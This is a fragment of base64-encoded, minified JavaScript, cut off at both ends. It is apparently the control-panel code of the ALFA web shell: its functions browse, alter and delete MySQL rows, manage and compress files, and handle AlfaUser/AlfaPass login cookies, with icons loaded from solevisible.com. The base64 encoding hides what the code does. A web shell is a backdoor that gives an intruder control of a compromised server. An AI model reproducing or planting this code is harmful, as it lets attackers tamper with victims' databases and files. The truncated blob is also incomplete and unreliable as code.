9uY2xpY2s9J2FsZmFNeXNxbENoYW5nZVBhZ2UodGhpcywxKTsnPjw8PC9zcGFuPiA8c3Bhbj4gcGFnZTogPC9zcGFuPiA8c2VsZWN0IHRibF9uYW1lPSciK3QrIicgZGJfdGFyZ2V0PSciK2ErIicgbmFtZT0nbXlzcWwtcS1wYWdlcycgZGJfaWQ9JyIraSsiJyBjbGFzcz0nZGItb3B0LWlkJyBvbmNoYW5nZT0nYWxmYU15c3FsQ2hhbmdlUGFnZSh0aGlzKTsnIHBhZ2VzPSciK2UucGFnZXMrIic+Ijtmb3IodmFyIGI9MTtiPGUucGFnZXMrMTtiKyspbCs9IjxvcHRpb24+IitiKyI8L29wdGlvbj4iO2wrPSI8L3NlbGVjdD48c3Bhbj4gT2YgIitlLnBhZ2VzKyI8L3NwYW4+IDxzcGFuIHN0eWxlPSdjdXJzb3I6cG9pbnRlcjsnIGRiX2lkPSciK2krIicgb25jbGljaz0nYWxmYU15c3FsQ2hhbmdlUGFnZSh0aGlzLDIpOyc+Pj48L3NwYW4+In12YXIgeT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2kpO3kucXVlcnlTZWxlY3RvcigiLm15c3FsLXNlYXJjaC1hcmVhIikuaW5uZXJIVE1MPW4seS5xdWVyeVNlbGVjdG9yKCIubXlzcWwtaW5zZXJ0LXJvdyIpLmlubmVySFRNTD1yLHkucXVlcnlTZWxlY3RvcigiLm15c3FsLWVkaXQtcm93IikuaW5uZXJIVE1MPSIiLHkucXVlcnlTZWxlY3RvcigiLm15c3FsLXN0cnVjdHVyZSIpLmlubmVySFRNTD1vLHkucXVlcnlTZWxlY3RvcigiLm15c3FsLXF1ZXJ5LXJlc3VsdC1oZWFkZXIgLm15c3FsLXF1ZXJ5LXBhZ2VyIikuaW5uZXJIVE1MPWwseS5xdWVyeVNlbGVjdG9yKCIubXlzcWwtcXVlcnktdGFibGUiKS5pbm5lckhUTUw9ZS5zdGF0dXM/ZS50YWJsZToiIixhbGZhTXlzcWxUYWJDdGwoe2NoaWxkOjEsZGJfaWQ6aSx0YXJnZXQ6Ii5teXNxbC1xdWVyeS1yZXN1bHQtY29udGVudCJ9LCEwKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2Om50aC1jaGlsZCg2KSIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiLGFsZmFNeXNxbFJlcG9ydEJ1aWxkZXIoaSxlKX19KX1mdW5jdGlvbiBhbGZhTXlzcWxBbHRlclRibChlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxpPWQucXVlcnlTZWxlY3RvcigiIyIrYSksbD1lLmdldEF0dHJpYnV0ZSgidGJsX25hbWUiKSxyPWUuZ2V0QXR0cmlidXRlKCJjb2xfbmFtZSIpLG89e307by50eXBlPWkucXVlcnlTZWxlY3RvcigiLm15c3FsLXN0cnVjdHVyZSBzZWxlY3RbbmFtZT1zZWxfIityKyJdIikudmFsdWUsby5pbnB1dD1pLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC1zdHJ1Y3R1cmUgaW5wdXRbbmFtZT12YWx1ZV8iK3IrIl0iKS52YWx1ZSxhbGZhTXlzcWxBcGkoe2RiX2lkOmEsZGJfdGFyZ2V0OnQsYWpheF9pZDoibXlzcWxfdGFibGVfYWx0ZXIiLGRiX2luZm86e3RhYmxlOmwsY29sdW1uOnIsYWx0ZXI6b30scG9zdDp7YWxmYTI6ImFsdGVyIn19LGZ1bmN0aW9uKGUpe3ZhciB0PWQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5teXNxbC1zdHJ1Y3R1cmUtcXJlcyIpO3QuaW5uZXJIVE1MPWUsdC5zdHlsZS5kaXNwbGF5PSJibG9jayJ9KX1mdW5jdGlvbiBhbGZhTXlzcWxTZWFyY2goZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2EpLGw9ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIikscj17fTtpLnF1ZXJ5U2VsZWN0b3JBbGwoIi5teXNxbC1zZWFyY2gtYXJlYSBpbnB1dCwgLm15c3FsLXNlYXJjaC1hcmVhIHNlbGVjdCIpLmZvckVhY2goZnVuY3Rpb24oZSl7ci5oYXNPd25Qcm9wZXJ0eShlLm5hbWUpfHwocltlLm5hbWVdPXt9KSwiU0VMRUNUIj09ZS50YWdOYW1lP3JbZS5uYW1lXS5vcHQ9ZS52YWx1ZTpyW2UubmFtZV0udmFsdWU9ZS52YWx1ZX0pLGFsZmFNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6dCxhamF4X2lkOiJteXNxbF90YWJsZV9zZWFyY2hfcXVlcnkiLGRiX2luZm86e3RhYmxlOmwsc2VhcmNoOnJ9LHBvc3Q6e2FsZmEyOiJzZWFyY2gifX0sZnVuY3Rpb24oZSl7MCE9ZS5sZW5ndGgmJihlPUpTT04ucGFyc2UoZSksYWxmYU15c3FsUmVwb3J0QnVpbGRlcihhLGUpLGFsZmFNeXNxbFRhYkN0bCh7Y2hpbGQ6MSxkYl9pZDphLHRhcmdldDoiLm15c3FsLXF1ZXJ5LXJlc3VsdC1jb250ZW50In0sITApLGQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5teXNxbC1xdWVyeS10YWJsZSIpLmlubmVySFRNTD1lLnRhYmxlKX0pfWZ1bmN0aW9uIGFsZmFNeXNxbEVkaXRSb3coZSx0KXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxsPShkLnF1ZXJ5U2VsZWN0b3IoIiMiK2kpLGUuZ2V0QXR0cmlidXRlKCJjb2xfa2V5IikpLHI9ZS5nZXRBdHRyaWJ1dGUoImtleSIpLG89ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIiksbj1lLmdldEF0dHJpYnV0ZSgicm93X2lkIik7YWxmYU15c3FsQXBpKHtkYl9pZDppLGRiX3RhcmdldDphLGFqYXhfaWQ6Im15c3FsX3RhYmxlX2VkaXRfcXVlcnkiLGRiX2luZm86e3RhYmxlOm8sY29sX2tleTpsLGtleTpyfSxwb3N0OnthbGZhMjp0fX0sZnVuY3Rpb24oZSl7aWYoMCE9ZS5sZW5ndGgpaWYoZT1KU09OLnBhcnNlKGUpLCJlZGl0Ij09dCl7dmFyIHM9Ijx0YWJsZSBib3JkZXI9JzEnPjx0ciBzdHlsZT0ndGV4dC1hbGlnbjogbGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiAjMzA1YjhlO2NvbG9yOiNGRkZGRkY7Jz48dGg+Q29sdW1uPC90aD48dGg+VHlwZTwvdGg+PHRoPlZhbHVlPC90aD48L3RyPiI7Zm9yKHZhciBjIGluIGUpe3ZhciB1PSIiO3N3aXRjaChlW2NdLnR5cGUudGFnKXtjYXNlInRleHRhcmVhIjp1PSI8dGV4dGFyZWEgbmFtZT0nIitlW2NdLmNvbCsiJyByb3dzPSc1Jz4iK2VbY10udmFsdWUrIjwvdGV4dGFyZWE+IjticmVhaztjYXNlImlucHV0Ijp1PSI8aW5wdXQgdHlwZT0nIitlW2NdLnR5cGUudHlwZSsiJyBuYW1lPSciK2VbY10uY29sKyInIHZhbHVlPSciK2VbY10udmFsdWUrIic+In1zKz0iPHRyPjx0aCBzdHlsZT0ndGV4dC1hbGlnbjogbGVmdDsnPiIrZVtjXS5jb2wrIjwvdGg+PHRkPiIrZVtjXS50eXBlLmNvbF90eXBlKyI8L3RkPjx0ZD4iK3UrIjwvdGQ+PC90cj4ifXMrPSI8L3RhYmxlPjxkaXYgc3R5bGU9J21hcmdpbi1sZWZ0OjIwcHg7Jz48YnV0dG9uIGNvbF9rZXk9JyIrbCsiJyBrZXk9JyIrcisiJyB0YmxfbmFtZT0nIitvKyInIGRiX2lkPSciK2krIicgZGJfdGFyZ2V0PSciK2ErIicgb25jbGljaz0nYWxmYU15c3FsVXBkYXRlUm93KHRoaXMsIFwiZWRpdFwiKTtyZXR1cm4gZmFsc2U7Jz5VcGRhdGU8L2J1dHRvbj48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC11cGRhdGUtcmVzdWx0Jz48L2Rpdj4iLGQucXVlcnlTZWxlY3RvcigiIyIraSsiIC5teXNxbC1lZGl0LXJvdyIpLmlubmVySFRNTD1zLGFsZmFNeXNxbFRhYkN0bCh7Y2hpbGQ6NixkYl9pZDppLHRhcmdldDoiLm15c3FsLWVkaXQtcm93In0sITApLGQucXVlcnlTZWxlY3RvcigiIyIraSsiIC5teXNxbC1xdWVyeS1yZXN1bHQtdGFicyBkaXY6bnRoLWNoaWxkKDYpIikuc3R5bGUuZGlzcGxheT0iaW5saW5lLWJsb2NrIn1lbHNlImRlbGV0ZSI9PXQmJihlLnN0YXR1cz9kLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAudGJsX3Jvd19sIituKS5yZW1vdmUoKTphbGVydChlLmVycm9yKSl9KX1mdW5jdGlvbiBhbGZhTXlzcWxUYmxTZWxlY3RBbGwoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIik7ZC5xdWVyeVNlbGVjdG9yQWxsKCIjIit0KyIgLm15c3FsLW1haW4gaW5wdXRbbmFtZT10Ymxfcm93c19jaGVja2JveFxcW1xcXV0iKS5mb3JFYWNoKGZ1bmN0aW9uKHQpe3QuY2hlY2tlZD1lLmNoZWNrZWR9KX1mdW5jdGlvbiBhbGZhTXlzcWxEZWxldGVBbGxTZWxlY3RlZHJvd3MoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksYT1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiY29sX2tleSIpLGw9ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIikscj1bXTtpZihkLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK3QrIiAubXlzcWwtbWFpbiBpbnB1dFtuYW1lPXRibF9yb3dzX2NoZWNrYm94XFxbXFxdXSIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5jaGVja2VkJiZyLnB1c2goZS52YWx1ZSl9KSwwPT1yLmxlbmd0aClyZXR1cm4hMTthbGZhTXlzcWxBcGkoe2RiX2lkOnQsZGJfdGFyZ2V0OmEsYWpheF9pZDoibXlzcWxfdGFibGVfZGVsZXRlX2FsbF9xdWVyeSIsZGJfaW5mbzp7dGFibGU6bCxjb2xfa2V5Omkscm93czpyfSxwb3N0OnthbGZhMjoiZGVsZXRlX2FsbCJ9fSxmdW5jdGlvbihlKXtpZigiIiE9ZSlpZigoZT1KU09OLnBhcnNlKGUpKS5zdGF0dXMpe3ZhciBhPTAsaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK3QpO2QucXVlcnlTZWxlY3RvckFsbCgiIyIrdCsiIC5teXNxbC1tYWluIGlucHV0W25hbWU9dGJsX3Jvd3NfY2hlY2tib3hcXFtcXF1dIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmNoZWNrZWQmJihhPWUuZ2V0QXR0cmlidXRlKCJyb3dfaWQiKSxpLnF1ZXJ5U2VsZWN0b3IoIi50Ymxfcm93X2wiK2EpLnJlbW92ZSgpKX0pfWVsc2UgYWxlcnQoZS5lcnJvcil9KX1mdW5jdGlvbiBhbGZhTXlzcWxVcGRhdGVSb3coZSx0KXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxsPWQucXVlcnlTZWxlY3RvcigiIyIraSkscj0iLm15c3FsLWluc2VydC1yb3ciLG89Ii5teXNxbC1pbnNlcnQtcmVzdWx0IixuPSJteXNxbF90YWJsZV9pbnNlcnRfcXVlcnkiLHM9Imluc2VydCIsYz17dGFibGU6ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIil9O2lmKCJlZGl0Ij09dCl7dmFyIHU9ZS5nZXRBdHRyaWJ1dGUoImNvbF9rZXkiKSxwPWUuZ2V0QXR0cmlidXRlKCJrZXkiKTtyPSIubXlzcWwtZWRpdC1yb3ciLG89Ii5teXNxbC11cGRhdGUtcmVzdWx0IixuPSJteXNxbF90YWJsZV91cGRhdGVfcXVlcnkiLHM9InVwZGF0ZSIsYy5jb2xfa2V5PXUsYy5rZXk9cH12YXIgZj17fTtsLnF1ZXJ5U2VsZWN0b3JBbGwocisiIGlucHV0LCAiK3IrIiB0ZXh0YXJlYSIpLmZvckVhY2goZnVuY3Rpb24oZSl7Zi5oYXNPd25Qcm9wZXJ0eShlLm5hbWUpfHwoZltlLm5hbWVdPXt9KSxmW2UubmFtZV09ZS52YWx1ZX0pLGMuZGF0YT1mLGFsZmFNeXNxbEFwaSh7ZGJfaWQ6aSxkYl90YXJnZXQ6YSxhamF4X2lkOm4sZGJfaW5mbzpjLHBvc3Q6e2FsZmEyOnN9fSxmdW5jdGlvbihlKXtpZigwIT1lLmxlbmd0aCl7ZT1KU09OLnBhcnNlKGUpO3ZhciB0PWQucXVlcnlTZWxlY3RvcigiIyIraSsiICIrbyk7dC5zdHlsZS5kaXNwbGF5PSJibG9jayIsZS5zdGF0dXM/dC5pbm5lckhUTUw9IlN1Y2Nlc3MuLi4iOnQuaW5uZXJIVE1MPWUuZXJyb3J9fSl9ZnVuY3Rpb24gYWxmYU15c3FsTG9hZERhdGFUeXBlKGUpe2U9ZS50b1VwcGVyQ2FzZSgpO3ZhciB0PVsiSU5UIiwiVkFSQ0hBUiIsIlRFWFQiLCJEQVRFIix7a2V5OiJOdW1lcmljIix2YWxzOlsiVElOWUlOVCIsIlNNQUxMSU5UIiwiTUVESVVNSU5UIiwiSU5UIiwiQklHSU5UIiwiLSIsIkRFQ0lNQUwiLCJGTE9BVCIsIkRPVUJMRSIsIlJFQUwiLCItIiwiQklUIiwiQk9PTEVBTiIsIlNFUklBTCJdfSx7a2V5OiJEYXRlIGFuZCB0aW1lIix2YWxzOlsiREFURSIsIkRBVEVUSU1FIiwiVElNRVNUQU1QIiwiVElNRSIsIllFQVIiXX0se2tleToiU3RyaW5nIix2YWxzOlsiQ0hBUiIsIlZBUkNIQVIiLCItIiwiVElOWVRFWFQiLCJURVhUIiwiTUVESVVNVEVYVCIsIkxPTkdURVhUIiwiLSIsIkJJTkFSWSIsIlZBUkJJTkFSWSIsIi0iLCJUSU5ZQkxPQiIsIk1FRElVTUJMT0IiLCJCTE9CIiwiTE9OR0JMT0IiLCItIiwiRU5VTSIsIlNFVCJdfSx7a2V5OiJTcGF0aWFsIix2YWxzOlsiR0VPTUVUUlkiLCJQT0lOVCIsIkxJTkVTVFJJTkciLCJQT0xZR09OIiwiTVVMVElQT0lOVCIsIk1VTFRJTElORVNUUklORyIsIk1VTFRJUE9MWUdPTiIsIkdFT01FVFJZQ09MTEVDVElPTiJdfSx7a2V5OiJKU09OIix2YWxzOlsiSlNPTiJdfV0sYT0iIixpPSExO2Zvcih2YXIgbCBpbiB0KWlmKCJvYmplY3QiPT10eXBlb2YgdFtsXSl7Zm9yKHZhciByIGluIGErPSc8b3B0Z3JvdXAgbGFiZWw9IicrdFtsXS5rZXkrJyI+Jyx0W2xdLnZhbHMpYSs9IjxvcHRpb24iKyh0W2xdLnZhbHNbcl0hPWV8fGk/IiI6IiBzZWxlY3RlZCIpKyI+Iit0W2xdLnZhbHNbcl0rIjwvb3B0aW9uPiIsdFtsXS52YWxzW3JdPT1lJiYoaT0hMCk7YSs9Ijwvb3B0Z3JvdXA+In1lbHNlIGErPSI8b3B0aW9uIisodFtsXSE9ZXx8aT8iIjoiIHNlbGVjdGVkIikrIj4iK3RbbF0rIjwvb3B0aW9uPiIsdFtsXT09ZSYmKGk9ITApO3JldHVybiBhfWZ1bmN0aW9uIGFsZmFNeXNxbENoYW5nZVBhZ2UoZSx0KXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxpPTA7aWYodm9pZCAwIT09dCl7ZT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiBzZWxlY3RbbmFtZT1teXNxbC1xLXBhZ2VzXSIpO3ZhciBsPXBhcnNlSW50KGUuZ2V0QXR0cmlidXRlKCJwYWdlcyIpKTtpZihpPXBhcnNlSW50KGUudmFsdWUpLDE9PXQ/LS1pOisraSwwPT1pfHxsPGkpcmV0dXJuITE7ZS52YWx1ZT1pfWVsc2UgaT1lLnZhbHVlO3ZhciByPWUuZ2V0QXR0cmlidXRlKCJkYl90YXJnZXQiKSxvPWUuZ2V0QXR0cmlidXRlKCJ0YmxfbmFtZSIpO2FsZmFNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6cixhamF4X2lkOiJteXNxbF90YWJsZV9jaGFuZ2VfcGFnZSIsZGJfaW5mbzp7dGFibGU6byxwYWdlOml9LHBvc3Q6e2FsZmEyOiJwYWdlIn19LGZ1bmN0aW9uKGUpezAhPWUubGVuZ3RoJiYoZT1KU09OLnBhcnNlKGUpLGFsZmFNeXNxbFJlcG9ydEJ1aWxkZXIoYSxlKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtcXVlcnktdGFibGUiKS5pbm5lckhUTUw9ZS50YWJsZSl9KX1mdW5jdGlvbiBhbGZhUmVtb3ZlQ29va2llKGUpe2RvY3VtZW50LmNvb2tpZT1lKyI9O01heC1BZ2U9MDsgcGF0aD0vOyJ9ZnVuY3Rpb24gYWxmYUxvZ091dCgpe2FsZmFSZW1vdmVDb29raWUoIkFsZmFVc2VyIiksYWxmYVJlbW92ZUNvb2tpZSgiQWxmYVBhc3MiKSxsb2NhdGlvbi5yZWxvYWQoKX12YXIgYWxmYUFsZXJ0Qm94PWZ1bmN0aW9uKGUsdCl7dGhpcy50eXBlcz17c3VjY2Vzczp7Y2xhc3M6ImFsZXJ0LXN1Y2Nlc3MiLGljb246Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9jaGVjay1tYXJrMS5zdmcifSxlcnJvcjp7Y2xhc3M6ImFsZXJ0LWVycm9yIixpY29uOiJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvd2FybmluZy5zdmcifX0sdGhpcy5zaG93PWZ1bmN0aW9uKGEpe2lmKCIiPT09YXx8bnVsbD09YSl0aHJvdycibXNnIHBhcmFtZXRlciBpcyBlbXB0eSInO3ZhciBpPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoZSksbD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJESVYiKSxyPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIkRJViIpLG89ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiRElWIiksbj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJBIikscz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKSxjPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIklNRyIpLGQ9dGhpcztpZihzLnN0eWxlLmRpc3BsYXk9ImlubGluZS1ibG9jayIscy5zdHlsZS5tYXJnaW5SaWdodD0iMTBweCIsci5zdHlsZS5kaXNwbGF5PSJpbmxpbmUtYmxvY2siLG8uY2xhc3NMaXN0LmFkZCgiYWxlcnQtY29udGVudCIpLG8uaW5uZXJUZXh0PWEsbi5jbGFzc0xpc3QuYWRkKCJhbGVydC1jbG9zZSIpLG4uc2V0QXR0cmlidXRlKCJocmVmIiwiIyIpLGwuY2xhc3NMaXN0LmFkZCgiYWxlcnQtYm94IiksYy5zcmM9dGhpcy50eXBlc1t0LnR5cGVdLmljb24sYy5zdHlsZS53aWR0aD0iMzBweCIscy5hcHBlbmRDaGlsZChjKSxsLmFwcGVuZENoaWxkKHMpLHQuaGFzT3duUHJvcGVydHkoInRpdGxlIikpe3ZhciB1PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIkRJViIpO3UuY2xhc3NMaXN0LmFkZCgiYWxlcnQtY29udGVudC10aXRsZSIpLHUuaW5uZXJUZXh0PXQudGl0bGUsci5hcHBlbmRDaGlsZCh1KX1pZihyLmFwcGVuZENoaWxkKG8pLGwuYXBwZW5kQ2hpbGQociksdC5oaWRlQ2xvc2VCdXR0b24mJnZvaWQgMCE9PXQuaGlkZUNsb3NlQnV0dG9ufHxsLmFwcGVuZENoaWxkKG4pLHQuaGFzT3duUHJvcGVydHkoInR5cGUiKSYmbC5jbGFzc0xpc3QuYWRkKHRoaXMudHlwZXNbdC50eXBlXS5jbGFzcyksaS5hcHBlbmRDaGlsZChsKSxuLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIixmdW5jdGlvbihlKXtlLnByZXZlbnREZWZhdWx0KCksZC5oaWRlKGwpfSksIXQucGVyc2lzdGVudCl2YXIgcD1zZXRUaW1lb3V0KGZ1bmN0aW9uKCl7ZC5oaWRlKGwpLGNsZWFyVGltZW91dChwKX0sdC5jbG9zZVRpbWUpfSx0aGlzLmhpZGU9ZnVuY3Rpb24oZSl7ZS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7dmFyIHQ9c2V0VGltZW91dChmdW5jdGlvbigpe2UucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChlKSxjbGVhclRpbWVvdXQodCl9LDUwMCl9fTtmdW5jdGlvbiBhbGZhU2hvd05vdGlmaWNhdGlvbihlLHQsYSxpLGwpe3ZvaWQgMD09PWEmJihhPSJzdWNjZXNzIiksdm9pZCAwPT09aSYmKGk9ITEpLHZvaWQgMD09PWwmJihsPTFlNCk7dmFyIHI9e2Nsb3NlVGltZTpsLHBlcnNpc3RlbnQ6aSx0eXBlOmEsaGlkZUNsb3NlQnV0dG9uOiExfTt2b2lkIDAhPT10JiYoci50aXRsZT10KSxuZXcgYWxmYUFsZXJ0Qm94KCIjYWxlcnQtYXJlYSIscikuc2hvdyhlKX1mdW5jdGlvbiBhbGZhU3luY01lbnVUb09wdChlLHQpe3ZhciBhPSIiLGk9IiIsbD1udWxsO3ZvaWQgMCE9PXQ/KGE9InZpZXdfYXJjaGl2ZSIsaT1lLGw9bG9jYXRpb24pOihhPWUubmFtZSxpPWUuZ2V0QXR0cmlidXRlKCJmbmFtZSIpLGw9ZSksImV4dHJhY3QiPT1hPyhhbGZhX2Nhbl9hZGRfb3B0PSEwLGwuaHJlZj0iI2FjdGlvbj1vcHRpb25zJnBhdGg9IitjXysiJm9wdD1kZXppcGVyIixnKCJkZXppcGVyIixudWxsLCIiLCIiLGNfKyIvIitpKSxkLnF1ZXJ5U2VsZWN0b3IoIi5vcHQtdGl0bGUiKS5pbm5lckhUTUw9IkRlQ29tcHJlc3NvciIpOiJjb21wcmVzcyI9PWE/KGFsZmFfY2FuX2FkZF9vcHQ9ITAsbC5ocmVmPSIjYWN0aW9uPW9wdGlvbnMmcGF0aD0iK2NfKyImb3B0PXppcGVyIixnKCJ6aXBlciIsbnVsbCwiIiwiIixjXysiLyIraSksZC5xdWVyeVNlbGVjdG9yKCIub3B0LXRpdGxlIikuaW5uZXJIVE1MPSJDb21wcmVzc29yIik6InZpZXdfYXJjaGl2ZSI9PWEmJihhbGZhX2Nhbl9hZGRfb3B0PSEwLGwuaHJlZj0iI2FjdGlvbj1vcHRpb25zJnBhdGg9IitjXysiJm9wdD1hcmNoaXZlX21hbmFnZXIiLGcoImFyY2hpdmVfbWFuYWdlciIsbnVsbCwiIixjXysiLyIraSwiIiksZC5xdWVyeVNlbGVjdG9yKCIub3B0LXRpdGxlIikuaW5uZXJIVE1MPSJBcmNoaXZlIE1hbmFnZXIiKX1mdW5jdGlvbiBkb0ZpbHRlck5hbWUoZSl7dmFyIHQ9IiNmaWxlc21hbl9ob2xkZXJfIithbGZhX2N1cnJlbnRfZm1faWQ7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPW5ldyBSZWdFeHAoZS52YWx1ZSwiaSIpO2QucXVlcnlTZWxlY3RvckFsbCh0KyIgLmZtYW5hZ2VyLXJvdyIpLmZvckVhY2goZnVuY3Rpb24oZSl7LTE9PWUucXVlcnlTZWxlY3RvcigiLm1haW5fbmFtZSIpLmdldEF0dHJpYnV0ZSgiZm5hbWUiKS5zZWFyY2goYSk/ZS5zdHlsZS5kaXNwbGF5PSJub25lIjplLnN0eWxlLmRpc3BsYXk9InRhYmxlLXJvdyJ9KX0sMTAwKX1mdW5jdGlvbiBzb3J0QnlTZWxlY3RlZFZhbHVlKGUsdCl7c2V0Q29va2llKHQsZS5vcHRpb25zW2Uuc2VsZWN0ZWRJbmRleF0udmFsdWUsMjAxMiksZygiRmlsZXNNYW4iLGNfKX1mdW5jdGlvbiBsb2FkUG9wVXBEYXRhYmFzZShlLHQsYSl7aWYoY29uc29sZS5sb2codCksJCgiZGF0YWJhc2Vfd2luZG93Iikuc3R5bGUuZGlzcGxheT0iYmxvY2siLHZvaWQgMD09PXQpe3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5zcWwtY29udGVudC5zcWwtYWN0aXZlLWNvbnRlbnQiKS5jbGFzc0xpc3QucmVtb3ZlKCJzcWwtYWN0aXZlLWNvbnRlbnQiKX1jYXRjaChlKXt9dHJ5e2QucXVlcnlTZWxlY3RvcigiLnNxbC10YWJuYW1lLnNxbC1hY3RpdmUtdGFiIikuY2xhc3NMaXN0LnJlbW92ZSgic3FsLWFjdGl2ZS10YWIiKX1jYXRjaChlKXt9dHJ5e2QucXVlcnlTZWxlY3RvcigiLnNxbC10YWJzIC5zcWwtbmV3dGFiIikucmVtb3ZlKCl9Y2F0Y2goZSl7fXZhciBpPSJpZF9kYl8iK2dldFJhbmRvbSgxMCk7ZC5xdWVyeVNlbGVjdG9yKCIjZGF0YWJhc2Vfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5zcWwtY29udGVudHMiKS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8ZGl2IGlkPSInK2krJyIgY2xhc3M9InNxbC1jb250ZW50IHNxbC1hY3RpdmUtY29udGVudCI+JytlKyI8L2Rpdj4iKSxkLnF1ZXJ5U2VsZWN0b3IoIiNkYXRhYmFzZV93aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLnNxbC10YWJzIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCc8ZGl2IGlkPSJ0YWJfJytpKyciIG9wdF9pZD0iJytpKyciIGNsYXNzPSJzcWwtdGFibmFtZSBzcWwtYWN0aXZlLXRhYiIgb25jbGljaz0iZGJUYWJDb250cm9sbGVyKHRoaXMpOyI+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyI+TmV3IERCIENvbm5lY3Rpb248L3NwYW4+IDxpbWcgb3B0X2lkPSInK2krJyIgb25jbGljaz0iY2xvc2VEYXRhYmFzZSh0aGlzLGV2ZW50KTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iW2Nsb3NlXSIgc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvZGVsZXRlLnN2ZyI+PC9kaXY+PGRpdiBjbGFzcz0ic3FsLW5ld3RhYiIgb25jbGljaz0iYWxmYV9jYW5fYWRkX29wdD10cnVlO2coXCdzcWxcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKTsiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiM4MDAwMDA7Ij48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7Ij5OZXcgVGFiICs8L3NwYW4+PC9kaXY+JyksJChpKS5xdWVyeVNlbGVjdG9yQWxsKCIuZGItb3B0LWlkIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLnNldEF0dHJpYnV0ZSgiZGJfaWQiLGkpfSk7dHJ5eyQoaSkucXVlcnlTZWxlY3RvcigiLmdldGNvbmZpZyIpLnNldEF0dHJpYnV0ZSgiYmFzZV9pZCIsaSl9Y2F0Y2goZSl7fXJldHVybiBpfSQodCkuaW5uZXJIVE1MPWU7dmFyIGw9JCgidGFiXyIrdCk7bnVsbCE9bCYmKCgtMT09bC5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigic3FsLWFjdGl2ZS10YWIiKXx8ZGF0YWJhc2Vfd2luZG93X2lzX21pbmltaXplZCkmJihsLmNsYXNzTGlzdC5hZGQoInRhYi1pcy1kb25lIiksYWxmYVNob3dOb3RpZmljYXRpb24oInByb2NjZXNzIGlzIGRvbmUuLi4iLCJEQjogIitsLmlubmVyVGV4dCkpLGRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWQmJmFsZmFVcGRhdGVPcHRpb25zQmFkZ2UoImRhdGFiYXNlX3dpbmRvdyIpKSx2b2lkIDAhPT1teXNxbF9jYWNoZVt0XSYmbXlzcWxfY2FjaGVbdF0uaGFzT3duUHJvcGVydHkoImRiIikmJm15c3FsX2NhY2hlW3RdLmRiLmxlbmd0aD4wJiYidXBkYXRlIiE9YSYmKGQucXVlcnlTZWxlY3RvcigiI3RhYl8iK3QrIj5zcGFuIikuaW5uZXJIVE1MPW15c3FsX2NhY2hlW3RdLmRiKSwkKHQpLnF1ZXJ5U2VsZWN0b3JBbGwoIi5kYi1vcHQtaWQiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2Uuc2V0QXR0cmlidXRlKCJkYl9pZCIsdCl9KTt0cnl7JCh0